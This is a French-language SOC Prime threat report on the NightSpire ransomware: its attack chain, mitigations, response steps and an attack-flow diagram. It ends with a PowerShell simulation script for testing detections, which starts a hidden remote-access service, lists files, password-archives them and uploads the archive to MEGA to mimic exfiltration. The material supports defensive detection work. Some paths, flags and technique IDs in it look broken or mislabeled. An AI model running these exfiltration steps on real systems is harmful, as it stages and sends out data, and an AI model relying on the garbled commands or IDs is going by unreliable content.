SOC Prime Bias: Élevé

25 May 2026 16:25 UTC

Chaîne d’Attaque, Outils et Tactiques du Ransomware NightSpire

Author Photo
SOC Prime Team linkedin icon Suivre
Chaîne d’Attaque, Outils et Tactiques du Ransomware NightSpire
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

NightSpire est une famille de ransomwares basés sur Go, observée pour la première fois au début de 2025, qui utilise un modèle de double extorsion, volant des données avant le chiffrement et menaçant de les publier sur un site de fuite basé sur Tor. Le ransomware ajoute une .nspire extension aux fichiers chiffrés et place des notes de rançon dans chaque répertoire affecté, y compris les dossiers liés à OneDrive. Ses opérateurs dépendent d’outils d’administration à distance légitimes pour maintenir l’accès et utilisent des utilitaires disponibles publiquement pour la découverte, l’archivage et l’exfiltration. Entre mars et juin 2025, la campagne a touché au moins 64 organisations dans 33 pays.

Enquête

L’enquête a montré que les attaquants obtenaient souvent un accès initial via RDP exposé, puis installaient Chrome Remote Desktop et AnyDesk en tant que services persistants. Ils utilisaient Everything pour localiser rapidement des fichiers, 7-Zip pour créer des archives protégées par mot de passe, et MEGAsync pour télécharger les données volées sur le stockage cloud MEGA. Le chiffreur basé sur Go fonctionnait sous conhost.exe, énumérait tous les lecteurs disponibles et chiffrait les fichiers tout en laissant les noms de fichiers OneDrive inchangés. La phase d’extorsion reposait sur un site de fuite hébergé sur Tor utilisé pour faire pression sur les victimes après l’exfiltration.

Atténuation

Les organisations devraient réduire ou éliminer l’exposition directe du RDP, surveiller le déploiement inattendu d’outils d’administration à distance légitimes en tant que services, et appliquer une liste blanche d’applications à des binaires tels que Chrome Remote Desktop et AnyDesk. Les détections comportementales devraient se concentrer sur l’énumération massive de fichiers, la création d’archives, et les téléchargements inhabituels vers des services de stockage cloud. Des sauvegardes régulières et des procédures de récupération testées restent essentielles, et les contrôles réseau devraient bloquer les points de terminaison de téléchargement MEGA connus. Les défenses peuvent également être validées via des exercices de simulation de ransomware contrôlés tels que ceux offerts par Picus.

Réponse

Si une activité NightSpire est détectée, isolez immédiatement l’endroit affecté, terminez le processus de chiffreur et collectez la mémoire volatile pour analyse. Désactivez tout service malveillant, retirez les outils d’accès à distance persistants, et bloquez la communication réseau associée. La récupération doit se faire à partir de sauvegardes de confiance, et les parties prenantes concernées doivent être notifiées. L’incident devrait aussi être reporté aux forces de l’ordre, tandis que les défenseurs continuent de surveiller le site de fuite Tor associé pour les signes de données publiées.

graph TB %% Définitions des classes classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff6666 classDef process fill:#ffcc99 %% Nœuds action_initial_access[« <b>Action</b> – Accès initial<br/><b>Technique</b> – T1136 Création de compte<br/><b>Description</b>: L’attaquant a obtenu un accès au réseau via le protocole Remote Desktop Protocol (RDP), établissant un premier point d’ancrage. »] class action_initial_access action tool_rdp[« <b>Outil</b> – Remote Desktop Protocol (RDP)<br/><b>Description</b>: Protocole permettant l’accès à distance aux systèmes Windows. »] class tool_rdp tool action_persistence[« <b>Action</b> – Persistance<br/><b>Technique</b> – T1547.009 Modification de raccourcis<br/><b>Description</b>: Installation d’AnyDesk et Chrome Remote Desktop en tant que services et ajout de raccourcis dans le dossier de démarrage. »] class action_persistence action tool_anydesk[« <b>Outil</b> – AnyDesk<br/><b>Fonction</b>: Logiciel d’accès à distance installé comme service Windows (anydesk.lnk). »] class tool_anydesk tool tool_chrome_rd[« <b>Outil</b> – Chrome Remote Desktop<br/><b>Fonction</b>: Outil d’accès distant exécuté via le service remoting_host.exe. »] class tool_chrome_rd tool action_collection[« <b>Action</b> – Collecte<br/><b>Technique</b> – T1560.001 Archivage des données collectées<br/><b>Description</b>: Utilisation de 7-Zip pour compresser des dossiers sélectionnés en archives protégées par mot de passe après énumération des fichiers avec l’outil Everything. »] class action_collection action tool_7zip[« <b>Outil</b> – 7-Zip<br/><b>Fonction</b>: Compression de données en archives protégées par mot de passe. »] class tool_7zip tool tool_everything[« <b>Outil</b> – Everything<br/><b>Fonction</b>: Outil de recherche rapide de fichiers utilisé pour l’énumération. »] class tool_everything tool action_exfiltration[« <b>Action</b> – Exfiltration<br/><b>Techniques</b> – T1537 Transfert vers compte cloud<br/>T1567.002 Exfiltration via service web<br/><b>Description</b>: Téléversement des archives vers le stockage cloud MEGA via MEGAsync. »] class action_exfiltration action tool_megasync[« <b>Outil</b> – MEGAsync<br/><b>Fonction</b>: Synchronisation des fichiers locaux avec le stockage cloud MEGA pour exfiltration. »] class tool_megasync tool action_impact[« <b>Action</b> – Impact<br/><b>Technique</b> – T1486 Données chiffrées pour impact<br/><b>Description</b>: Ransomware en Go exécuté via conhost.exe, chiffrement des fichiers, ajout de l’extension .nspire et dépôt de notes de rançon. »] class action_impact action malware_encryptor[« <b>Malware</b> – Ransomware Go<br/><b>Fonction</b>: Chiffre les fichiers, modifie l’extension, crée des notes de rançon. »] class malware_encryptor malware process_conhost[« <b>Processus</b> – conhost.exe<br/><b>Rôle</b>: Exécute la charge utile du ransomware Go. »] class process_conhost process %% Connexions action_initial_access –>|utilise| tool_rdp action_initial_access –>|conduit à| action_persistence action_persistence –>|installe| tool_anydesk action_persistence –>|installe| tool_chrome_rd action_persistence –>|conduit à| action_collection action_collection –>|utilise| tool_7zip action_collection –>|énumère avec| tool_everything action_collection –>|conduit à| action_exfiltration action_exfiltration –>|utilise| tool_megasync action_exfiltration –>|conduit à| action_impact action_impact –>|exécute| process_conhost process_conhost –>|lance| malware_encryptor

Flux d’Attaque

Exécution de Simulation

Prérequis : La Vérification Préliminaire de Télémétrie & de Base doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la tactique (TTP) de l’adversaire conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un diagnostic erroné.

  • Récit d’Attaque & Commandes:

    1. Configuration de la Persistance (T1547 / T1219): Installez Chrome Remote Desktop (chemin par défaut) et démarrez son service pour obtenir un contrôle à distance persistant.
    2. Découverte (T1083): Utilisez Everything.exe pour énumérer tous les fichiers sur le lecteur C :, en sauvegardant la sortie dans une liste temporaire.
    3. Archivage (T1037 / T1083): Invoke 7‑Zip pour compresser les fichiers découverts dans une archive protégée par mot de passe.
    4. Exfiltration (T1219.003): Lancez MEGAsync pour télécharger l’archive sur un compte MEGA.

    La séquence garantit que selection_remote_access (Chrome Remote Desktop) est actif tandis qu’au moins l’un des selection_discovery, selection_archive, ou selection_exfiltration se produit, satisfaisant la condition de la règle.

  • Script de Test de Régression :

    # -------------------------------------------------------------------------
    # Simulation de Persistance Latérale & Exfiltration de NightSpire
    # -------------------------------------------------------------------------
    # Prérequis :
    #   - Chrome Remote Desktop installé au chemin par défaut
    #   - Everything.exe installé au chemin par défaut
    #   - 7z.exe installé au chemin par défaut
    #   - MEGAsync installé au chemin par défaut du profil utilisateur
    # -------------------------------------------------------------------------
    
    # 1. Assurez-vous que le service Chrome Remote Desktop est en cours d'exécution (simule la persistance)
    $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe"
    if (Test-Path $crdPath) {
        Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden
        Write-Host "Service Chrome Remote Desktop démarré."
    } else {
        Write-Error "Chrome Remote Desktop non trouvé à $crdPath"
        exit 1
    }
    
    # 2. Découverte des fichiers avec Everything
    $everythingPath = "$Env:ProgramFilesEverythingEverything.exe"
    $discoveryOutput = "$env:TEMPfilelist.txt"
    if (Test-Path $everythingPath) {
        & $everythingPath -search "C:" -output $discoveryOutput
        Write-Host "Découverte terminée, résultats sauvegardés dans $discoveryOutput"
    } else {
        Write-Error "Everything.exe non trouvé à $everythingPath"
        exit 1
    }
    
    # 3. Archivez les fichiers découverts avec 7‑Zip
    $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe"
    $archivePath   = "$env:TEMPexfil_archive.zip"
    if (Test-Path $sevenZipPath) {
        & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!"
        Write-Host "Archive créée à $archivePath"
    } else {
        Write-Error "7z.exe non trouvé à $sevenZipPath"
        exit 1
    }
    
    # 4. Téléchargez l'archive via MEGAsync (exfiltration)
    $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe"
    if (Test-Path $megaPath) {
        & $megaPath --upload $archivePath
        Write-Host "Téléchargement initié via MEGAsync."
    } else {
        Write-Error "MEGAsync.exe non trouvé à $megaPath"
        exit 1
    }
    
    # Fin de la simulation
  • Commandes de Nettoyage :

    # Arrêter le service Chrome Remote Desktop
    Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue
    
    # Supprimer les fichiers temporaires
    Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue
    
    # Arrêter éventuellement MEGAsync si en cours d'exécution
    Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue